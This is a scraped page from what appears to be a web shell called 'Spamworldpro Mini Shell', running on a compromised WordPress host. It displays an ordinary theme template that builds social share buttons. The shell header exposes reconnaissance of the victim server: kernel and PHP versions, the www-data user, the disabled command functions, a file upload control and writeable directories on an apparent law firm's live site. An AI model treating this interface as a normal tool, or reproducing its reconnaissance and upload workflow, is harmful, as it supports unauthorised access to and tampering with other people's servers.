Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux pod-100823:apache2_74:v0.6.0 5.4.0-1138-gcp #147~18.04.1-Ubuntu SMP Mon Oct 7 21:46:26 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33.10
Disable Function : apache_child_terminate,apache_get_modules,apache_get_version,apache_getenv,apache_note,apache_setenv,disk_free_space,disk_total_space,diskfreespace,dl,exec,fastcgi_finish_request,link,opcache_compile_file,opcache_get_configuration,opcache_invalidate,opcache_is_script_cached,opcache_reset,passthru,pclose,pcntl_exec,popen,posix_getpid,posix_getppid,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,realpath_cache_get,shell_exec,show_source,symlink,system
Directory :  /nas/content/live/attorneyexperi/wp-content/themes/directory2/parts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /nas/content/live/attorneyexperi/wp-content/themes/directory2/parts/page-share.php
{var $type = isset($elements->unsortable["page-title"]->option->type) ? $elements->unsortable["page-title"]->option->type : 'standard'}

{var $shareUrl 				= ""}
{var $shareTitle 			= ""}
{var $shareImage 			= ""}
{var $shareDescription		= ""}
{var $twitterReferral       = ""}


{foreach array_filter((array) $options->theme->social->socIcons) as $icon}
	{if AitUtils::contains($icon->url, 'twitter')}
		{var $search = array('https', 'http', 'www.twitter.com/', 'twitter.com/', 't.co/')}
		{var $twitterReferral = str_replace($search, '', $icon->url)}
	{/if}
{/foreach}




{if $wp->isPage or $wp->isSingular(post) or $wp->isSingular(portfolio-item) or $wp->isSingular(event) or $wp->isSingular(job-offer) or $wp->isSingular(doc) or $wp->isSingular(theme) or $wp->isSingular(item)}
	{loop as $post}
		{var $shareUrl 			= $post->permalink}
		{var $shareTitle 		= $post->title}
		{var $shareImage 		= isset($post->ID) ? wp_get_attachment_url(get_post_thumbnail_id($post->ID)) : wp_get_attachment_url(get_post_thumbnail_id($post->id))}
		{var $shareDescription	= substr(strip_tags($post->excerpt), 0, 100)}

		{if $type == 'theme' && $wp->isPage}
			{customQuery as $query, id => $elements->unsortable["page-title"]->option->theme, type => 'theme'}
			{if $query->havePosts}
				{customLoop from $query as $item}
					{var $shareTitle 		= $item->meta('theme')->subtitle}
					{var $shareDescription 	= strip_tags($item->content)}
					{var $shareImage 		= $item->imageUrl}
				{/customLoop}
			{/if}
		{/if}

	{/loop}
{elseif $wp->isAuthor}
	{var $qobj = get_queried_object()}
	{if $qobj and isset($qobj->ID)}
		{var $shareUrl 				= get_author_posts_url( $qobj->ID )}
		{var $shareTitle 			= get_the_author_meta( 'display_name', $qobj->ID )}
		{var $shareDescription		= get_the_author_meta( 'description', $qobj->ID )}
	{/if}
{elseif $wp->isCategory or $wp->isTax('ait-events-pro') or $wp->isTax('ait-items') or $wp->isTax('ait-locations') or $wp->isTax('events')}
	{var $qobj = get_queried_object()}
	{if $qobj and isset($qobj->term_id)}
		{var $shareUrl 				= get_category_link(intval($qobj->term_id))}
		{var $shareTitle 			= $qobj->name}
		{var $shareDescription		= $qobj->description}
	{/if}
{else}
	{if AitWoocommerce::enabled()}
		{if AitWoocommerce::currentPageIs('shop')}
			{var $shareUrl 				= get_permalink( woocommerce_get_page_id( 'shop' ) )}
			{capture $shareTitle}{? woocommerce_page_title()}{/capture}
			{var $shareDescription		= ''}
		{else}
			{var $qobj = get_queried_object()}
			{if $qobj and isset($qobj->ID)}
				{var $shareUrl 				= get_permalink($qobj->ID)}
				{var $shareTitle 			= get_the_title($qobj->ID)}
				{var $shareDescription		= ''}
			{/if}
		{/if}
	{else}
		{var $qobj = get_queried_object()}
		{if $qobj and isset($qobj->ID)}
			{var $shareUrl 				= get_permalink($qobj->ID)}
			{var $shareTitle 			= get_the_title($qobj->ID)}
			{var $shareDescription		= ''}
		{/if}
	{/if}
{/if}

{* OVERRIDE BY SEO ELEMENT *}
	{var $SEOOptions = $elements->unsortable["seo"]->option}

	{if isset($SEOOptions->title) && $SEOOptions->title != ""}
		{var $shareTitle = $SEOOptions->title}
	{/if}
	{if isset($SEOOptions->description) && $SEOOptions->description != ""}
		{var $shareDescription 	= substr($SEOOptions->description, 0, 80)}
	{/if}
{* OVERRIDE BY SEO ELEMENT *}

{* PREPARE FOR SHARE
{var $strFind = array("&")}
{var $strReplace = array("and")}
{var $shareTitle = urlencode(str_replace($strFind, $strReplace, $shareTitle))}
PREPARE FOR SHARE *}

{if $showShare and $shareUrl and $shareTitle}
<div class="page-title-social">
	<div class="page-share">

		<ul class="share-icons">

			<li class="share-facebook">
				<a href="#" onclick="javascript:window.open('https://www.facebook.com/sharer/sharer.php?u={!$shareUrl}', '_blank', 'menubar=no,toolbar=no,resizable=yes,scrollbars=yes,height=600,width=600');return false;">
				<i class="fa fa-facebook"></i>
				</a>
			</li><li class="share-twitter">
				<a href="#" onclick="javascript:window.open('https://twitter.com/intent/tweet?text={!rawurlencode($shareTitle)}&amp;url={!$shareUrl}&amp;via={!$twitterReferral}', '_blank', 'menubar=no,toolbar=no,resizable=yes,scrollbars=yes,height=600,width=600');return false;">
					<i class="fa fa-twitter"></i>
				</a>
			</li><li class="share-gplus">
				<a href="#" onclick="javascript:window.open('https://plus.google.com/share?url={!$shareUrl}', '_blank', 'menubar=no,toolbar=no,resizable=yes,scrollbars=yes,height=600,width=600');return false;">
					<i class="fa fa-google-plus"></i>
				</a>
			</li>

		</ul>

		<div class="share-text">
			{!__ '<span class="title">Share</span> <span class="subtitle">this page</span>'}
		</div>


	</div>
</div>
{/if}

Spamworldpro Mini